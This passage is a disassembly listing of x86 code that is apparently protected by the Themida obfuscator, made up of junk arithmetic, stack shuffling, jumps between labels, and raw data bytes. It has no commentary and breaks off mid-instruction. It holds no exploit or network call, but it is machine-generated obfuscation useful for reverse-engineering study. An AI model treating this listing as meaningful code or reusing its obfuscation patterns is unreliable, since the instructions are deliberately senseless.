0D468F0Fh dd 0EA810000h, 4CE67444h, 0C8B60F66h, 0E99C5166h, 305Ah ; --------------------------------------------------------------------------- loc_59FA9C: ; CODE XREF: Themida_:005A6DF6j push edi mov edi, 0BA471CDh shr edi, 1 shr edi, 8 jmp loc_59978D ; --------------------------------------------------------------------------- loc_59FAAC: ; CODE XREF: Themida_:0059EE1Aj not ecx inc ecx add ecx, 233E56AEh push ecx jmp loc_59C494 ; --------------------------------------------------------------------------- db 35h dd 4FF45DFBh, 8758C501h, 0E95C242Ch, 0F7B9h ; --------------------------------------------------------------------------- loc_59FACC: ; CODE XREF: Themida_:005A1A12j add bl, ch pop cx jmp loc_5A38F7 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 241C8B54h, 713CE9h db 0 ; --------------------------------------------------------------------------- loc_59FAE1: ; CODE XREF: Themida_:0059952Ej add esp, 4 sub cl, 85h jmp loc_5AE965 ; --------------------------------------------------------------------------- loc_59FAEF: ; CODE XREF: Themida_:loc_599ED6j or ebx, 47D33DC4h ja loc_59F476 shl ebx, 2 or ebx, 1C716D06h mov cl, cl loc_59FB06: ; CODE XREF: Themida_:005A65A1j add ebp, 0CFBC6699h mov edx, ebp jmp loc_5ACAD7 ; --------------------------------------------------------------------------- loc_59FB13: ; CODE XREF: Themida_:005A879Ej sub ebx, eax add ebx, 3EA94280h jmp loc_599A47 ; --------------------------------------------------------------------------- loc_59FB20: ; CODE XREF: Themida_:005AEB92j pop esi mov ecx, esi push dword ptr [esp] pop esi jmp loc_5A329E ; --------------------------------------------------------------------------- loc_59FB2C: ; CODE XREF: Themida_:005AAFDFj mov eax, [esp] add esp, 4 push ebx push 66CAh mov [esp], esp jmp loc_599016 ; --------------------------------------------------------------------------- loc_59FB43: ; CODE XREF: Themida_:005AC1ACj xchg edi, [esp] mov esp, [esp] xor ecx, [esp] jmp loc_5A4BC1 ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 73C1E9h db 0 ; --------------------------------------------------------------------------- loc_59FB59: ; CODE XREF: Themida_:005A5412j ; Themida_:005A8906j push dword ptr [esp] pop ecx add esp, 4 pop dword ptr [esp] mov esp, [esp] push ecx sub esp, 4 mov [esp], eax push 0 mov eax, [esp] add esp, 4 jmp loc_5AC971 ; --------------------------------------------------------------------------- loc_59FB83: ; CODE XREF: Themida_:005A6A5Aj add edx, edi jmp loc_5A9D97 ; --------------------------------------------------------------------------- dw 0C068h dd 89000065h, 0B966240Ch, 816674CFh, 0E974F0E1h, 0FFFFBCA7h ; --------------------------------------------------------------------------- loc_59FBA0: ; CODE XREF: Themida_:005AA37Dj push ebx mov ebx, 6F831ACCh inc ebx jle loc_5AE597 jmp loc_5AEAAC ; --------------------------------------------------------------------------- dw 5E9h db 0CFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59FBB7: ; CODE XREF: Themida_:005AEE54j push esp pop edi add edi, 4 jmp loc_5998B5 ; --------------------------------------------------------------------------- loc_59FBC4: ; CODE XREF: Themida_:005A525Aj pop ecx push dword ptr [esp] pop edx push 7182h mov [esp], eax jmp loc_599C2C ; --------------------------------------------------------------------------- loc_59FBD6: ; CODE XREF: Themida_:005A7DA5j push 6A2Fh mov [esp], ebp sub esp, 4 mov [esp], eax add dword ptr [esp], 54837856h pop ebp sub ebp, 54837856h jmp loc_5A42E2 ; --------------------------------------------------------------------------- loc_59FBF7: ; CODE XREF: Themida_:005A77D7j sub edx, 44971BE5h jnp loc_5A6FE7 xor edx, 7E5B4Dh jl loc_5AC961 mov dh, dh loc_59FC11: ; CODE XREF: Themida_:0059B473j mov edi, 598842BAh add ecx, edi mov edi, [esp] add esp, 4 push edx jmp loc_5AD25B ; --------------------------------------------------------------------------- loc_59FC24: ; CODE XREF: Themida_:005ACADCj pop ebp mov eax, [esp] add esp, 4 push ecx mov ecx, 554946CEh sub ecx, 5CA039Fh jmp loc_59A03A ; --------------------------------------------------------------------------- loc_59FC3C: ; CODE XREF: Themida_:005A210Bj mov ebp, esp jmp loc_59E8AC ; --------------------------------------------------------------------------- loc_59FC43: ; CODE XREF: Themida_:0059B132j pop ecx not ecx add ecx, 0E5FFEE2Ch and eax, ecx push dword ptr [esp] pop ecx add esp, 4 or eax, eax jz loc_59B17A sub esp, 4 mov [esp], ebx jmp loc_5A18DB ; --------------------------------------------------------------------------- loc_59FC68: ; CODE XREF: Themida_:0059AC64j push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_59CA16 ; --------------------------------------------------------------------------- dw 0CDFEh dd 0E9EBED80h, 0FFFFF464h, 840FEBD1h, 0A36h, 9FFBEB81h dd 81531EF9h, 2F152434h, 2CE9096Eh db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59FC9B: ; CODE XREF: Themida_:005983F6j sub esp, 4 mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] pop edx push 2EDAh jmp loc_5A15F3 ; --------------------------------------------------------------------------- db 0E9h, 3Ah, 87h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59FCCA: ; CODE XREF: Themida_:0059E418j add esi, 719C3375h or edx, esi pop esi add edx, 1 add edx, 4310394Bh add edx, 423DEC4Fh jmp loc_59C233 ; --------------------------------------------------------------------------- loc_59FCEA: ; CODE XREF: Themida_:005A5B8Cj ; Themida_:005A62C2j push ebx mov ebx, esp push ebp mov ebp, 6BBF6018h and ebp, 60E50A92h or ebp, 23FF7EC1h xor ebp, 61554BD0h sub ebp, 2AA34FDh add ebx, ebp jmp loc_59AE2F ; --------------------------------------------------------------------------- loc_59FD12: ; CODE XREF: Themida_:005A31C4j mov edi, 68EA371Dh jmp loc_5AE935 ; --------------------------------------------------------------------------- dd 66DDC181h, 0D1F70598h, 6C29BD55h, 814D52C8h, 0D63404E5h dd 43C58150h, 8102FC6Eh, 0B24712EDh, 4DE9567Ah db 0DEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59FD43: ; CODE XREF: Themida_:005A7711j mov ecx, esp add ecx, 4 add ecx, 2 jmp loc_59D60D ; --------------------------------------------------------------------------- loc_59FD53: ; CODE XREF: Themida_:0059C5E8j mov edi, 21993A08h add edi, 2DAD4073h not edi or edi, 1AD40758h neg edi jmp loc_5A7143 ; --------------------------------------------------------------------------- loc_59FD6D: ; CODE XREF: Themida_:005A4A15j push ebx mov ebx, 5A7F7DB3h shl ebx, 3 push edi sub esp, 4 mov [esp], ebp mov ebp, 5E802D27h mov edi, ebp pop ebp add ebx, edi pop edi add eax, ebx pop ebx and eax, 0CED437Ah push ecx mov ecx, 308B22CAh add eax, ecx pop ecx add eax, 0C48C83BBh xor edi, eax push dword ptr [esp] pop eax push 5D60h mov [esp], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], ebx mov ebx, 36E53E9h inc ebx xor ebx, 6AA14F56h sub ebx, 69CF1CB8h jmp loc_59F4B5 ; --------------------------------------------------------------------------- dd 8704C183h, 248B240Ch, 0E9DEF724h, 0DB3Eh, 0D51BE56h dd 4EE94088h db 0EDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59FDEF: ; CODE XREF: Themida_:005AE4ADj add ebx, 13C34CAh add ebx, edx sub ebx, 13C34CAh pop edx add eax, 74070E7Bh sub eax, 59DE459Ah add eax, ebx add eax, 59DE459Ah sub eax, 74070E7Bh mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5AABDA ; --------------------------------------------------------------------------- loc_59FE2B: ; CODE XREF: Themida_:005AE003j push esi mov esi, 49DC6673h jmp loc_59D75C ; --------------------------------------------------------------------------- loc_59FE36: ; CODE XREF: Themida_:005AF1C8j jns loc_5AE59C sub esi, 48E06892h mov ebp, esi mov esi, [esp] jmp loc_5A9325 ; --------------------------------------------------------------------------- dd 52D83166h, 6C8DBA66h, 66D2F766h, 0EA816642h, 566D233h dd 5667E50h, 0E9557FE5h, 85C0h ; --------------------------------------------------------------------------- loc_59FE6C: ; CODE XREF: Themida_:005AE4D9j pop dword ptr [esp] mov esp, [esp] mov cx, [esp] jmp loc_59A4BE ; --------------------------------------------------------------------------- loc_59FE7B: ; CODE XREF: Themida_:005A57D4j pop edi jmp loc_5A5BD2 ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 8A24E900h, 0B8500000h, 2AA94F75h, 48BC629h, 4C48324h dd 74FF565Bh, 348B0424h, 4C48324h, 8B24048Fh, 29662424h dd 0E99C2404h, 0FFFF84D4h ; --------------------------------------------------------------------------- loc_59FEB8: ; CODE XREF: Themida_:005A1760j pop edx pop eax jmp loc_59E0D2 ; --------------------------------------------------------------------------- loc_59FEBF: ; CODE XREF: Themida_:0059C954j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esp push ecx jmp loc_5AA487 ; --------------------------------------------------------------------------- db 52h, 0E9h, 0D6h dd 0F7FFFFCDh, 87C181D1h, 68836166h, 0B83h, 57242C89h dd 4E7593BFh, 0C33FBD60h, 0FD01F59Eh, 81243C8Bh, 4C4h dd 37A4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59FF06: ; CODE XREF: Themida_:0059DC3Ej push eax mov eax, 4 add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] mov [edx], ch mov ecx, [esp] add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_59FF3B: ; CODE XREF: Themida_:005A12CCj mov esi, 71E42636h jmp loc_5AEABC ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0BD93E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59FF4E: ; CODE XREF: Themida_:005AB43Fj add edx, edi pop edi jmp loc_5A8D8A ; --------------------------------------------------------------------------- loc_59FF56: ; CODE XREF: Themida_:loc_5AB3A2j push edx mov edx, 38CB6A8Ah shl edx, 2 jmp loc_5AE741 ; --------------------------------------------------------------------------- loc_59FF64: ; CODE XREF: Themida_:005A4451j push dword ptr [esp] jmp loc_5A3DC7 ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 0E589242Ch dd 0BE70E9h, 0EC815100h, 4, 68243489h, 189F5367h, 0ECF6815Eh dd 0F6A6D56h, 27EF82h, 0E9DEF700h, 71Fh ; --------------------------------------------------------------------------- loc_59FFAC: ; CODE XREF: Themida_:0059DE58j mov ecx, 67A10E7Ch add eax, 9F81A20h jmp loc_5A9EDE ; --------------------------------------------------------------------------- db 68h dd 4D76291Ch, 0E9EFD15Fh, 0E2CDh, 81240C8Bh, 4C4h, 65C06800h dd 1C890000h, 2474FF24h, 48F5B04h, 66645C24h, 0A4E90289h db 0D0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59FFEB: ; CODE XREF: Themida_:005A061Aj mov [esp], ebx mov ebx, 6CC39A7h or ecx, ebx pop ebx push 1AFAh mov [esp], eax mov eax, 612E7C2Fh and ecx, eax jmp loc_5A912F ; --------------------------------------------------------------------------- loc_5A000A: ; CODE XREF: Themida_:005A2434j mov ebx, 0FF8E2984h add eax, ebx pop ebx mov esi, eax pop eax add edi, esi push dword ptr [esp] pop esi add esp, 4 push ebx mov ebx, esp jmp loc_59B478 ; --------------------------------------------------------------------------- loc_5A0029: ; CODE XREF: Themida_:005A0DDAj push 4B8E764Eh jmp loc_59F0EF ; --------------------------------------------------------------------------- loc_5A0033: ; CODE XREF: Themida_:005A6293j pop edx jmp loc_59AF23 ; --------------------------------------------------------------------------- loc_5A0039: ; CODE XREF: Themida_:005A0053j push edi mov edi, 39B15D45h sub edi, 43174E52h jmp loc_59D887 ; --------------------------------------------------------------------------- loc_5A004A: ; CODE XREF: Themida_:005A9B90j push 684D3BC5h pop edx not edx dec edx jnp loc_5A0039 push edi mov edi, 39B15D45h sub edi, 43174E52h jmp loc_5A2560 ; --------------------------------------------------------------------------- dw 0D931h dd 1DC4E9h, 98B85000h, 0E964D25Ch, 1BB8h ; --------------------------------------------------------------------------- loc_5A007C: ; CODE XREF: Themida_:0059950Dj ; Themida_:005AC08Fj add eax, ecx add eax, 20F5695Dh mov ecx, [esp] add esp, 4 mov edi, eax jmp loc_5A8302 ; --------------------------------------------------------------------------- loc_5A0090: ; CODE XREF: Themida_:005A3EC8j push 1953h mov [esp], ecx sub esp, 4 mov [esp], edi mov edi, 2Ch mov ecx, edi pop edi add ecx, 1511053Dh sub ecx, 59FF4778h jmp loc_5AC3A4 ; --------------------------------------------------------------------------- loc_5A00BA: ; CODE XREF: Themida_:0059BC4Ej add ebx, 2EEA032Fh push eax mov eax, 26E71BEBh sub ebx, eax pop eax sub ebx, eax jmp loc_5A34A0 ; --------------------------------------------------------------------------- loc_5A00D0: ; CODE XREF: Themida_:005AA44Ej mov ebp, 3D7556E9h sub ebp, 584628C3h shl ebp, 6 sub ebp, 0CDF34906h xor edi, ebp jmp loc_5AEB8F ; --------------------------------------------------------------------------- db 0FFh a4Ski db '4$ιͺi',0 db 0 ; --------------------------------------------------------------------------- loc_5A00F3: ; CODE XREF: Themida_:0059F060j pop ecx jmp loc_5A8DFF ; --------------------------------------------------------------------------- aYsE db 'Yι· ',0 dw 0BB00h dd 593248E0h, 295BDE29h, 0E0C681FEh, 0E9593248h, 1256h ; --------------------------------------------------------------------------- loc_5A0114: ; CODE XREF: Themida_:005A320Aj push dword ptr [esp] pop ecx add esp, 4 push esi mov esi, esp push edx mov edx, 4 jmp loc_5AD046 ; --------------------------------------------------------------------------- loc_5A0129: ; CODE XREF: Themida_:0059EAF1j add esp, 4 push dx mov dh, 4Dh sub bl, dh pop dx push eax push ebx mov bl, 9Ah mov al, bl pop ebx inc al add al, 46h sub bl, 0F3h sub bl, al add bl, 0F3h pop eax jmp loc_59AA38 ; --------------------------------------------------------------------------- db 66h, 81h, 0C5h dd 89665E9Bh, 242C8BEBh, 0E9E38953h, 0AE03h ; --------------------------------------------------------------------------- loc_5A0160: ; CODE XREF: Themida_:005A8776j pop esi jmp loc_59E051 ; --------------------------------------------------------------------------- loc_5A0166: ; CODE XREF: Themida_:0059F3C1j push dword ptr [edi+eax*4] push 7B1Bh mov [esp], eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_5ACC22 ; --------------------------------------------------------------------------- loc_5A0185: ; CODE XREF: Themida_:005A5099j mov ebp, 619C0541h jmp loc_59C2BA ; --------------------------------------------------------------------------- loc_5A018F: ; CODE XREF: Themida_:005AC61Dj mov ebx, [esp] add esp, 4 sub dword ptr [esp+4], 519869EDh add dword ptr [esp+4], 7F10554Dh sub [esp+4], ebp sub dword ptr [esp+4], 7F10554Dh push ebp jmp loc_5AC9D3 ; --------------------------------------------------------------------------- dw 2C87h dd 1389E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A01C2: ; CODE XREF: Themida_:0059A6E3j jmp loc_5A484B ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFAEEDh ; --------------------------------------------------------------------------- loc_5A01CC: ; CODE XREF: Themida_:005AEBBAj pop ebp add ebx, ebp jmp loc_5AA8D4 ; --------------------------------------------------------------------------- loc_5A01D4: ; CODE XREF: Themida_:005A4285j jle loc_5A8C9E add edi, 1AF1251h jb loc_5AEBF0 add edi, 32A358B0h mov ecx, edi pop edi push eax mov eax, 51B029FFh shr eax, 4 push edx push 555676F5h jmp loc_5AAF04 ; --------------------------------------------------------------------------- db 1 dd 241C8BDDh, 0FF87DFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A020D: ; CODE XREF: Themida_:loc_5A9427j and dl, 56h jmp loc_5AB399 ; --------------------------------------------------------------------------- loc_5A0215: ; CODE XREF: Themida_:0059D167j push esp push dword ptr [esp] pop esi jmp loc_5ACA9D ; --------------------------------------------------------------------------- a_ius0 db '_ξι0Ϊ',0 db 0 ; --------------------------------------------------------------------------- loc_5A0227: ; CODE XREF: Themida_:005AAACCj push dword ptr [esp+4] pop ebx jmp loc_598F9B ; --------------------------------------------------------------------------- loc_5A0231: ; CODE XREF: Themida_:005A6C18j sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], esp push 99Fh mov [esp], edi mov edi, 4 jmp loc_5A61B5 ; --------------------------------------------------------------------------- loc_5A024F: ; CODE XREF: Themida_:005A760Aj mov eax, ebx jmp loc_59A755 ; --------------------------------------------------------------------------- loc_5A0256: ; CODE XREF: Themida_:0059908Aj jmp loc_5AC94A ; --------------------------------------------------------------------------- db 66h dd 8124048Bh, 4ECh, 0F86BE900h, 76E9FFFFh, 81000072h, 0AD6108EAh dd 81FA014Ch, 0AD6108C2h, 0C2815F4Ch, 286D42EAh, 5155C201h dd 6E5DE8B9h, 7DE5BD47h, 0CD2992C9h, 963E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A029A: ; CODE XREF: Themida_:0059A9EEj ; Themida_:005A038Cj add esp, 4 push edi jmp loc_5AB3E5 ; --------------------------------------------------------------------------- loc_5A02A3: ; CODE XREF: Themida_:0059AF44j pop eax add ecx, 4 xchg ecx, [esp] pop esp xor edx, edx jmp loc_5A4554 ; --------------------------------------------------------------------------- loc_5A02B2: ; CODE XREF: Themida_:005A0A08j shr ebp, 1 jmp loc_5A99A3 ; --------------------------------------------------------------------------- loc_5A02B9: ; CODE XREF: Themida_:005A4DD0j sub edx, 23A33C06h sub edx, 6EF64C5Eh sub edx, ebp jmp loc_5A4137 ; --------------------------------------------------------------------------- dd 5F5B5758h, 0F381EBD1h, 3E84B788h, 34FFD901h, 0C4835B24h dd 4EC8104h, 89000000h, 74FF240Ch, 0C8B0424h, 4C48124h dd 0E9000000h, 0FFFF85EDh ; --------------------------------------------------------------------------- loc_5A02FC: ; CODE XREF: Themida_:0059BEA1j pop eax push eax mov ah, 0B2h dec ah shr ah, 2 neg ah or ah, 3Fh jmp loc_5A03D8 ; --------------------------------------------------------------------------- loc_5A030F: ; CODE XREF: Themida_:005AC6CBj mov ebx, 55784D7Bh or ebp, ebx pop ebx dec ebp xor ebp, 28871EC2h push edx mov edx, 1E1C7304h add edx, 0BA9F0F99h add ebp, edx pop edx xor eax, ebp pop ebp jmp loc_59B0B9 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8704C283h, 248B2414h, 0C8AF0F24h, 41E99C51h db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A034B: ; CODE XREF: Themida_:005AB046j add dword ptr [esp], 4 pop edi add edi, 4 push eax jmp loc_5A1B08 ; --------------------------------------------------------------------------- loc_5A035F: ; CODE XREF: Themida_:005A2CCFj push 1373h mov [esp], ebx mov ebx, 0C33DB863h sub ecx, 66A14739h sub ecx, 34C5392Ah sub ecx, ebx add ecx, 34C5392Ah add ecx, 66A14739h pop ebx or ebx, ecx mov ecx, [esp] jmp loc_5A029A ; --------------------------------------------------------------------------- loc_5A0391: ; CODE XREF: Themida_:0059BFF1j ; Themida_:005AE0E3j push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5A1A82 ; --------------------------------------------------------------------------- db 81h dd 587587C2h, 44C2813Eh, 0E95B4756h, 1114h, 24048B66h dd 4AE68h, 24348900h, 0E25AE9h db 0 ; --------------------------------------------------------------------------- loc_5A03C5: ; CODE XREF: Themida_:005A2286j push ebx jmp loc_5A91A7 ; --------------------------------------------------------------------------- loc_5A03CB: ; CODE XREF: Themida_:005A77BEj mov ecx, 0FFFFFFFFh sub edi, ecx pop ecx jmp loc_5A8AA4 ; --------------------------------------------------------------------------- loc_5A03D8: ; CODE XREF: Themida_:005A030Aj push edx push eax mov al, 49h dec al jmp loc_598C34 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 0F0BDE904h, 34FFFFFFh, 2434FF24h, 4C48359h dd 4EC8156h, 54000000h, 8324048Fh, 8B042404h, 89532434h dd 4C381E3h, 55000000h, 4BDh, 5DEB0100h, 9E47E9h db 0 ; --------------------------------------------------------------------------- loc_5A0421: ; CODE XREF: Themida_:0059F49Bj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_59CEC1 ; --------------------------------------------------------------------------- aYhN db 'Yhμn',0 dd 0EB02E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A043E: ; CODE XREF: Themida_:005AB313j pop esp push 0C43h mov [esp], ebx mov ebx, 65DA33CEh sub eax, ebx push dword ptr [esp] pop ebx push 8A7h jmp loc_5ACC52 ; --------------------------------------------------------------------------- loc_5A045C: ; CODE XREF: Themida_:0059F94Cj shr ebx, 5 add ebx, 77093D03h neg ebx sub ebx, 0FFFFFFFFh add ebx, 797B185Fh add edx, 7F3B5307h jmp loc_5AB8F0 ; --------------------------------------------------------------------------- loc_5A047B: ; CODE XREF: Themida_:0059DFF1j ; Themida_:0059F9C2j mov ecx, 0 jmp loc_5986DF ; --------------------------------------------------------------------------- loc_5A0485: ; CODE XREF: Themida_:0059DE18j add edx, 44F93754h push 6ECEh mov [esp], esi pop dword ptr [edx] mov edx, [esp] add esp, 4 mov esi, [esp] push ecx mov ecx, esp jmp loc_59AF30 ; --------------------------------------------------------------------------- loc_5A04A9: ; CODE XREF: Themida_:005A21D2j push ecx mov ecx, 608C2772h shr ecx, 4 add ecx, 78650FA3h inc ecx jmp loc_5AB2C7 ; --------------------------------------------------------------------------- loc_5A04BE: ; CODE XREF: Themida_:00598718j mov dh, bh pop ebx sub al, dh pop edx push cx mov cl, 2Eh sub al, 90h sub al, cl add al, 90h jmp loc_5A84DA ; --------------------------------------------------------------------------- loc_5A04D3: ; CODE XREF: Themida_:00598C3Dj neg al add al, 90h mov dl, al pop eax jmp loc_5A422C ; --------------------------------------------------------------------------- dd offset dword_4E8E9C+83CCh align 4 dd 0BA241489h, 41787CB0h, 87EEE9h db 0 ; --------------------------------------------------------------------------- loc_5A04F1: ; CODE XREF: Themida_:0059CE5Cj ; Themida_:0059D25Cj push 5ECAh mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp push esi push esp pop esi push eax mov eax, 4 add esi, eax jmp loc_5AD4D2 ; --------------------------------------------------------------------------- loc_5A051F: ; CODE XREF: Themida_:005988D4j add esp, 4 push edi jmp loc_5A7283 ; --------------------------------------------------------------------------- loc_5A052B: ; CODE XREF: Themida_:0059F65Dj push edi sub esp, 4 jmp loc_5AE846 ; --------------------------------------------------------------------------- loc_5A0537: ; CODE XREF: Themida_:0059CEA2j neg edx add edx, 0DC62CE10h sub ebp, edx pop edx sub ebx, 4DAF0625h jmp loc_5A5944 ; --------------------------------------------------------------------------- loc_5A054D: ; CODE XREF: Themida_:005988F2j add esp, 4 mov cl, bh pop ebx jmp loc_59935F ; --------------------------------------------------------------------------- loc_5A055B: ; CODE XREF: Themida_:00599591j ; Themida_:0059F290j push dword ptr [esp] pop edi add esp, 4 sub esp, 4 jmp loc_59D7D7 ; --------------------------------------------------------------------------- db 55h, 5Ah, 5Dh dd 8152D5F7h, 4ECh, 242C8900h, 242C8B5Ah, 0F704C483h, 0FCEA81D2h dd 812EED2Dh, 0DF5624EEh, 52D60154h, 0DF5624BAh, 8BD60154h dd 0C4832414h, 34875A04h, 7DB8E924h, 48B0000h, 5B63E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A05B2: ; CODE XREF: Themida_:005A0E6Fj shr edi, 8 jp loc_5ADBEA add edi, 1B748BEFh sub edi, 4E284FD3h not edi not edi neg edi sub edi, 7E9365Fh sub edi, 2A9B9C13h jmp loc_5A1375 ; --------------------------------------------------------------------------- loc_5A05DE: ; CODE XREF: Themida_:005A3045j mov [esp], eax push 4 mov eax, [esp] add esp, 4 jmp loc_5A3595 ; --------------------------------------------------------------------------- loc_5A05F4: ; CODE XREF: Themida_:005A3698j jmp loc_59D306 ; --------------------------------------------------------------------------- db 5Ah, 56h, 54h dd 4C6815Eh, 0E9000000h, 0A632h, 0C581E589h, 4, 9CBCE9h db 0 ; --------------------------------------------------------------------------- loc_5A0615: ; CODE XREF: Themida_:005AD533j push 4E58h jmp loc_59FFEB ; --------------------------------------------------------------------------- loc_5A061F: ; CODE XREF: Themida_:0059875Cj ; Themida_:005A282Fj push dword ptr [esp] jmp loc_5AC49E ; --------------------------------------------------------------------------- db 5Bh dd 0FFF95CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A062D: ; CODE XREF: Themida_:00599276j xor [ebx], ebp pop ebx pop ebp push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push esp pop ecx push ebp mov ebp, 49BF324Fh shr ebp, 4 push ebx mov ebx, 7CA3774Eh jmp loc_5AD9C4 ; --------------------------------------------------------------------------- loc_5A0659: ; CODE XREF: Themida_:loc_5A4498j shl esi, 5 jnp loc_5A07E6 jmp loc_5A3C70 ; --------------------------------------------------------------------------- db 5Ah dd 0D6C4C650h ; --------------------------------------------------------------------------- loc_5A066C: ; CODE XREF: Themida_:0059ACF3j add edx, ebx jmp loc_5AB9FB ; --------------------------------------------------------------------------- loc_5A0673: ; CODE XREF: Themida_:005A3EACj xchg edx, [esp] pop esp sub esp, 4 jmp loc_5A2EC6 ; --------------------------------------------------------------------------- loc_5A067F: ; CODE XREF: Themida_:005A0FB3j neg al add al, 9Eh jmp loc_5A524D ; --------------------------------------------------------------------------- dd 6624248Bh, 8124048Bh, 4ECh, 242C8900h, 15FAE9h, 685A5E00h dd 630Fh, 68243489h, 1B99h, 5E242C89h, 87D5F75Dh, 0F7CE87EEh dd 0CC45E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A06BE: ; CODE XREF: Themida_:0059B40Fj push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_5AC725 ; --------------------------------------------------------------------------- db 0Fh dd 0FF813181h, 0A3EE81FFh, 8958FCF9h db 0D5h, 89h, 0CEh ; --------------------------------------------------------------------------- loc_5A06DB: ; CODE XREF: Themida_:005AF19Dj mov esi, [esp] jmp loc_5AB7A3 ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 0E9000000h, 8EFBh ; --------------------------------------------------------------------------- loc_5A06F0: ; CODE XREF: Themida_:0059CD20j shr eax, 8 neg eax jz loc_598917 xor eax, 0F86E6651h push edi mov edi, eax mov ebx, edi pop edi mov eax, [esp] jmp loc_5A6F5C ; --------------------------------------------------------------------------- loc_5A070E: ; CODE XREF: Themida_:005AC16Aj push edx mov edx, 72F90669h add eax, edx pop edx sub eax, 6AA14952h add eax, ecx add eax, 6AA14952h jmp loc_5A70C2 ; --------------------------------------------------------------------------- loc_5A0728: ; CODE XREF: Themida_:005AB19Cj jmp loc_5A0BD8 ; --------------------------------------------------------------------------- loc_5A072D: ; CODE XREF: Themida_:005ACA25j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push 5E47h jmp loc_5A7EE7 ; --------------------------------------------------------------------------- loc_5A0744: ; CODE XREF: Themida_:005AD96Aj xchg ebp, [esp] pop esp jmp loc_5AD9E4 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 4BDh, 246C0100h, 48F5D04h, 24048124h, 4, 582434FFh dd 33B68h, 242C8900h, 7BE95D54h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0777: ; CODE XREF: Themida_:005A39E6j pop esp push edi mov edi, 25382AA9h jmp loc_5AB49A ; --------------------------------------------------------------------------- db 5Eh dd 4C481h, 0EC810000h, 2, 24148966h, 6A85E9h db 0 ; --------------------------------------------------------------------------- loc_5A0799: ; CODE XREF: Themida_:0059B3B4j add eax, edi jmp loc_5AB5EE ; --------------------------------------------------------------------------- loc_5A07A0: ; CODE XREF: Themida_:005A6DBBj push eax mov eax, esp push edi jmp loc_59B3AF ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0C581E589h, 4, 567FE957h, 0C2810000h, 4, 0B7C3E9h, 10C48000h dd 0E9E28852h, 0FFFFA9C8h ; --------------------------------------------------------------------------- loc_5A07D0: ; CODE XREF: Themida_:005A8805j ; Themida_:005ABD5Cj add ecx, 0DE439C4Fh jmp loc_5AA0F8 ; --------------------------------------------------------------------------- a31Si db '3<$1<$ι',0 align 2 loc_5A07E6: ; CODE XREF: Themida_:005A065Cj jmp loc_5A6347 ; --------------------------------------------------------------------------- loc_5A07EB: ; CODE XREF: Themida_:005AEDBEj pop edx push eax mov eax, 0 add eax, 6FE204Fh add eax, ebx sub eax, 6FE204Fh push dword ptr [eax] push 24CBh jmp loc_59A0D2 ; --------------------------------------------------------------------------- loc_5A080A: ; CODE XREF: Themida_:0059A5ADj or cl, bl pop ebx sub cl, 0CBh jmp loc_5ADA67 ; --------------------------------------------------------------------------- loc_5A0815: ; CODE XREF: Themida_:005A7E07j push ebx jmp loc_59CB0C ; --------------------------------------------------------------------------- db 33h dd 2C31242Ch, 242C3324h, 6624248Bh, 83C8B60Fh, 3C8904ECh dd 0B8E95424h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0837: ; CODE XREF: Themida_:005A62D5j add esp, 4 or eax, eax jnz loc_59CA19 mov edx, 56E45881h dec edx jmp loc_5A1F7A ; --------------------------------------------------------------------------- loc_5A084D: ; CODE XREF: Themida_:005A7F2Ej sub esi, 0FFFFFFFFh jmp loc_59EEFD ; --------------------------------------------------------------------------- loc_5A0855: ; CODE XREF: Themida_:0059CA42j jmp loc_59838C ; --------------------------------------------------------------------------- dw 8F0Fh dd 9D24h, 860FDDF7h, 0FFFFC29Dh, 0FFD11EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A086D: ; CODE XREF: Themida_:005AE60Bj add edx, esi add edx, 77427A6h mov esi, [esp] add esp, 4 sub edx, 4 xor edx, 